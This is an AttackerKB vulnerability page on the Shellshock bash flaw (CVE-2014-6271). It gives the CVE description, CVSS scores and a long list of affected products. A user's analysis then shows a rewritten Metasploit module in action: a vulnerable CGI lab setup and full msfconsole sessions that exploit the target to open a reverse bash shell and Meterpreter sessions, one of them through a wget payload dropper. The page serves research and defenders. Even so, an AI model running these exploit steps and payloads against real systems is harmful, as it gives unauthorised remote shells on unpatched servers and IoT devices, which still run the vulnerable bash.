Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
None
Privileges Required
None
Attack Vector
Network
2

CVE-2014-6271

Disclosure Date: September 24, 2014
Exploited in the Wild
Reported by AttackerKB Worker and 3 more...
View Source Details
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka “ShellShock.” NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.

Add Assessment

3
Ratings
Technical Analysis

An Golden Oldie from 2014 that is still very relevant nowadays.

In my recent research of security vulnerabilities, I bumped into several targets that were still vulnerable to CVE-2014-6271 a.k.a. Shellshock and CVE-2014-6278. You should not be surprised that most of these targets are IoT based with an embedded Linux/Unix image running a vulnerable bash version. They typically do not get updated at all and are easy targets for a malicious actor to find an entry point into the network.

Metasploit modules like exploit/multi/http/apache_mod_cgi_bash_env_exec, are pretty restricted to launch an attack due to the limited platform support (only x86) and payloads that can be leveraged in an attack. This brought me to rewrite this module a bit so that it would support multiple platforms (ARM, x86, x64, MIPS) and multiple payloads such as Unix command and Linux Dropper. The module name is multi/http/bash_env_cgi_rce.

To test the module locally, you download a vulnerable bash version from https://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz. Any version published before September 2014 is okay. Just extract it in a local directory and compile it with ./configure && make.

Configure an Apache or any other preferred web server to support CGI scripts. You can find tons of instructions on the web how to do that.
Just create a script like below using the vulnerable bash version and add this to the cgi-bin directory of your preferred web server.

#!/bin/bash_CVE_2014_6271
echo "Content-type: text/plain"
echo
echo
echo "Hello World"

Download module from here and follow the install instructions.
Start msfconsole and play around with the different options and payloads.

msf6 > use exploits/multi/http/bash_env_cgi_rce
[*] Using configured payload cmd/unix/reverse_bash
msf6 exploit(multi/http/bash_env_cgi_rce) > options

Module options (exploit/multi/http/bash_env_cgi_rce):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CVE          Automatic        yes       CVE to check/exploit (Accepted: Automatic, CVE-2014-62
                                           71, CVE-2014-6278)
   HEADER       User-Agent       yes       HTTP header to use
   METHOD       GET              yes       HTTP method to use
   PAYLOADSIZE  2048             yes       Payload size used by the CmdStager
   Proxies                       no        A proxy chain of format type:host:port[,type:host:port
                                           ][...]
   RHOSTS                        yes       The target host(s), see https://docs.metasploit.com/do
                                           cs/using-metasploit/basics/using-metasploit.html
   RPORT        80               yes       The target port (TCP)
   SSL          false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly
                                           generated)
   TARGETURI                     yes       Path to CGI script
   URIPATH                       no        The URI to use for this exploit (default is random)
   VHOST                         no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This mus
                                       t be an address on the local machine or 0.0.0.0 to listen
                                       on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/unix/reverse_bash):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command


View the full module info with the info, or info -d command.

msf6 exploit(multi/http/bash_env_cgi_rce) > set rhosts 192.168.201.10
rhosts => 192.168.201.10
msf6 exploit(multi/http/bash_env_cgi_rce) > set targeturi /cgi-bin/test.cgi
targeturi => /cgi-bin/test.cgi
msf6 exploit(multi/http/bash_env_cgi_rce) > check

[*] Target is vulnerable for CVE-2014-6271.
[*] Target is vulnerable for CVE-2014-6278.
[+] 192.168.201.10:80 - The target is vulnerable.
msf6 exploit(multi/http/bash_env_cgi_rce) > set lhost 192.168.201.10
lhost => 192.168.201.10
msf6 exploit(multi/http/bash_env_cgi_rce) > set lport 4444
lport => 4444
msf6 exploit(multi/http/bash_env_cgi_rce) > exploit

[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is vulnerable for CVE-2014-6271.
[*] Target is vulnerable for CVE-2014-6278.
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/reverse_bash using vulnerability CVE-2014-6271.
[*] Command shell session 1 opened (192.168.201.10:4444 -> 192.168.201.10:35766) at 2023-05-21 15:01:17 +0000

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uname -a
Linux cerberus 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aarch64 GNU/Linux

Python Meterpreter payload example

msf6 exploit(multi/http/bash_env_cgi_rce) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(multi/http/bash_env_cgi_rce) > exploit

[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is vulnerable for CVE-2014-6271.
[*] Target is vulnerable for CVE-2014-6278.
[+] The target is vulnerable.
[*] Executing Unix Command for cmd/unix/python/meterpreter/reverse_tcp using vulnerability CVE-2014-6271.
[*] Sending stage (24772 bytes) to 192.168.201.10
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.10:35678) at 2023-05-21 15:03:48 +0000

meterpreter > sysinfo
Computer     : cerberus
OS           : Linux 5.15.44-Re4son-v8l+ #1 SMP PREEMPT Debian kali-pi (2022-07-03)
Architecture : aarch64
Meterpreter  : python/linux
meterpreter > getuid
Server username: www-data
meterpreter >

Linux File dropper using payload: linux/aarch64/meterpreter_reverse_tcp

msf6 exploit(multi/http/bash_env_cgi_rce) > set target 1
target => 1
msf6 exploit(multi/http/bash_env_cgi_rce) > set payload linux/aarch64/meterpreter_reverse_tcp
payload => linux/aarch64/meterpreter_reverse_tcp
msf6 exploit(multi/http/bash_env_cgi_rce) > set CMDSTAGER::FLAVOR wget
CMDSTAGER::FLAVOR => wget
msf6 exploit(multi/http/bash_env_cgi_rce) > exploit

[*] Started reverse TCP handler on 192.168.201.10:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Target is vulnerable for CVE-2014-6271.
[*] Target is vulnerable for CVE-2014-6278.
[+] The target is vulnerable.
[*] Executing Linux Dropper for linux/aarch64/meterpreter_reverse_tcp using vulnerability CVE-2014-6271.
[*] Using URL: http://192.168.201.10:8080/ZzirBKe
[*] Client 192.168.201.10 (Wget/1.21.3) requested /ZzirBKe
[*] Sending payload to 192.168.201.10 (Wget/1.21.3)
[*] Meterpreter session 3 opened (192.168.201.10:4444 -> 192.168.201.10:34346) at 2023-05-21 15:10:11 +0000
[*] Command Stager progress - 100.00% done (114/114 bytes)
[*] Server stopped.

meterpreter > sysinfo
Computer     : 192.168.201.10
OS           : Debian  (Linux 5.15.44-Re4son-v8l+)
Architecture : aarch64
BuildTuple   : aarch64-linux-musl
Meterpreter  : aarch64/linux
meterpreter > getuid
Server username: www-data
meterpreter >

If you use CMDSTAGER::FLAVOR option bourne or printf, please ensure that your payload size is 2048 or below.
You can control this with the option PAYLOADSIZE

Have fun !!!

References

Metasploit module multi/http/bash_env_cgi_rce

CVSS V3 Severity and Metrics
Base Score:
9.8 Critical
Impact Score:
5.9
Exploitability Score:
3.9
Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector (AV):
Network
Attack Complexity (AC):
Low
Privileges Required (PR):
None
User Interaction (UI):
None
Scope (S):
Unchanged
Confidentiality (C):
High
Integrity (I):
High
Availability (A):
High

General Information

Vendors

  • apple,
  • arista,
  • canonical,
  • checkpoint,
  • citrix,
  • debian,
  • f5,
  • gnu,
  • ibm,
  • mageia,
  • novell,
  • opensuse,
  • oracle,
  • qnap,
  • redhat,
  • suse,
  • vmware

Products

  • arx firmware,
  • bash,
  • big-ip access policy manager,
  • big-ip access policy manager 11.6.0,
  • big-ip advanced firewall manager,
  • big-ip advanced firewall manager 11.6.0,
  • big-ip analytics,
  • big-ip analytics 11.6.0,
  • big-ip application acceleration manager,
  • big-ip application acceleration manager 11.6.0,
  • big-ip application security manager,
  • big-ip application security manager 11.6.0,
  • big-ip edge gateway,
  • big-ip global traffic manager,
  • big-ip global traffic manager 11.6.0,
  • big-ip link controller,
  • big-ip link controller 11.6.0,
  • big-ip local traffic manager,
  • big-ip local traffic manager 11.6.0,
  • big-ip policy enforcement manager,
  • big-ip policy enforcement manager 11.6.0,
  • big-ip protocol security module,
  • big-ip wan optimization manager,
  • big-ip webaccelerator,
  • big-iq cloud,
  • big-iq device,
  • big-iq security,
  • debian linux 7.0,
  • enterprise linux 4.0,
  • enterprise linux 5.0,
  • enterprise linux 6.0,
  • enterprise linux 7.0,
  • enterprise linux desktop 5.0,
  • enterprise linux desktop 6.0,
  • enterprise linux desktop 7.0,
  • enterprise linux eus 5.9,
  • enterprise linux eus 6.4,
  • enterprise linux eus 6.5,
  • enterprise linux eus 7.3,
  • enterprise linux eus 7.4,
  • enterprise linux eus 7.5,
  • enterprise linux eus 7.6,
  • enterprise linux eus 7.7,
  • enterprise linux for ibm z systems 5.9 s390x,
  • enterprise linux for ibm z systems 6.4 s390x,
  • enterprise linux for ibm z systems 6.5 s390x,
  • enterprise linux for ibm z systems 7.3 s390x,
  • enterprise linux for ibm z systems 7.4 s390x,
  • enterprise linux for ibm z systems 7.5 s390x,
  • enterprise linux for ibm z systems 7.6 s390x,
  • enterprise linux for ibm z systems 7.7 s390x,
  • enterprise linux for power big endian 5.0 ppc,
  • enterprise linux for power big endian 5.9 ppc,
  • enterprise linux for power big endian 6.0 ppc64,
  • enterprise linux for power big endian 6.4 ppc64,
  • enterprise linux for power big endian 7.0 ppc64,
  • enterprise linux for power big endian eus 6.5 ppc64,
  • enterprise linux for power big endian eus 7.3 ppc64,
  • enterprise linux for power big endian eus 7.4 ppc64,
  • enterprise linux for power big endian eus 7.5 ppc64,
  • enterprise linux for power big endian eus 7.6 ppc64,
  • enterprise linux for power big endian eus 7.7 ppc64,
  • enterprise linux for scientific computing 6.0,
  • enterprise linux for scientific computing 7.0,
  • enterprise linux server 5.0,
  • enterprise linux server 6.0,
  • enterprise linux server 7.0,
  • enterprise linux server aus 5.6,
  • enterprise linux server aus 5.9,
  • enterprise linux server aus 6.2,
  • enterprise linux server aus 6.4,
  • enterprise linux server aus 6.5,
  • enterprise linux server aus 7.3,
  • enterprise linux server aus 7.4,
  • enterprise linux server aus 7.6,
  • enterprise linux server aus 7.7,
  • enterprise linux server from rhui 5.0,
  • enterprise linux server from rhui 6.0,
  • enterprise linux server from rhui 7.0,
  • enterprise linux server tus 6.5,
  • enterprise linux server tus 7.3,
  • enterprise linux server tus 7.6,
  • enterprise linux server tus 7.7,
  • enterprise linux workstation 5.0,
  • enterprise linux workstation 6.0,
  • enterprise linux workstation 7.0,
  • enterprise manager,
  • eos,
  • esx 4.0,
  • esx 4.1,
  • flex system v7000 firmware,
  • gluster storage server for on-premise 2.1,
  • infosphere guardium database activity monitoring 8.2,
  • infosphere guardium database activity monitoring 9.0,
  • infosphere guardium database activity monitoring 9.1,
  • linux 4,
  • linux 5,
  • linux 6,
  • linux enterprise desktop 11,
  • linux enterprise desktop 12,
  • linux enterprise server 10,
  • linux enterprise server 11,
  • linux enterprise server 12,
  • linux enterprise software development kit 11,
  • linux enterprise software development kit 12,
  • mac os x,
  • mageia 3.0,
  • mageia 4.0,
  • netscaler sdx firmware,
  • open enterprise server 11.0,
  • open enterprise server 2.0,
  • opensuse 12.3,
  • opensuse 13.1,
  • opensuse 13.2,
  • pureapplication system,
  • pureapplication system 2.0.0.0,
  • qradar risk manager 7.1.0,
  • qradar security information and event manager 7.1.0,
  • qradar security information and event manager 7.1.1,
  • qradar security information and event manager 7.1.2,
  • qradar security information and event manager 7.2,
  • qradar security information and event manager 7.2.0,
  • qradar security information and event manager 7.2.1,
  • qradar security information and event manager 7.2.2,
  • qradar security information and event manager 7.2.3,
  • qradar security information and event manager 7.2.4,
  • qradar security information and event manager 7.2.5,
  • qradar security information and event manager 7.2.6,
  • qradar security information and event manager 7.2.7,
  • qradar security information and event manager 7.2.8,
  • qradar security information and event manager 7.2.8.15,
  • qradar security information and event manager 7.2.9,
  • qradar vulnerability manager 7.2.0,
  • qradar vulnerability manager 7.2.1,
  • qradar vulnerability manager 7.2.2,
  • qradar vulnerability manager 7.2.3,
  • qradar vulnerability manager 7.2.4,
  • qradar vulnerability manager 7.2.6,
  • qradar vulnerability manager 7.2.8,
  • qts,
  • qts 4.1.1,
  • san volume controller firmware,
  • security access manager for mobile 8.0 firmware 8.0.0.1,
  • security access manager for mobile 8.0 firmware 8.0.0.2,
  • security access manager for mobile 8.0 firmware 8.0.0.3,
  • security access manager for mobile 8.0 firmware 8.0.0.5,
  • security access manager for web 7.0 firmware 7.0.0.1,
  • security access manager for web 7.0 firmware 7.0.0.2,
  • security access manager for web 7.0 firmware 7.0.0.3,
  • security access manager for web 7.0 firmware 7.0.0.4,
  • security access manager for web 7.0 firmware 7.0.0.5,
  • security access manager for web 7.0 firmware 7.0.0.6,
  • security access manager for web 7.0 firmware 7.0.0.7,
  • security access manager for web 7.0 firmware 7.0.0.8,
  • security access manager for web 8.0 firmware 8.0.0.2,
  • security access manager for web 8.0 firmware 8.0.0.3,
  • security access manager for web 8.0 firmware 8.0.0.5,
  • security gateway,
  • smartcloud entry appliance 2.3.0,
  • smartcloud entry appliance 2.4.0,
  • smartcloud entry appliance 3.1.0,
  • smartcloud entry appliance 3.2.0,
  • smartcloud provisioning 2.1.0,
  • software defined network for virtual environments,
  • starter kit for cloud 2.2.0,
  • stn6500 firmware,
  • stn6800 firmware,
  • stn7800 firmware,
  • storwize v3500 firmware,
  • storwize v3700 firmware,
  • storwize v5000 firmware,
  • storwize v7000 firmware,
  • studio onsite 1.3,
  • traffix signaling delivery controller,
  • traffix signaling delivery controller 3.3.2,
  • traffix signaling delivery controller 3.4.1,
  • traffix signaling delivery controller 3.5.1,
  • traffix signaling delivery controller 4.1.0,
  • ubuntu linux 10.04,
  • ubuntu linux 12.04,
  • ubuntu linux 14.04,
  • vcenter server appliance 5.0,
  • vcenter server appliance 5.1,
  • vcenter server appliance 5.5,
  • virtualization 3.4,
  • workload deployer,
  • zenworks configuration management 10.3,
  • zenworks configuration management 11,
  • zenworks configuration management 11.1,
  • zenworks configuration management 11.2,
  • zenworks configuration management 11.3.0

Metasploit Modules

Exploited in the Wild

Reported by:

References

Advisory

Additional Info

Technical Analysis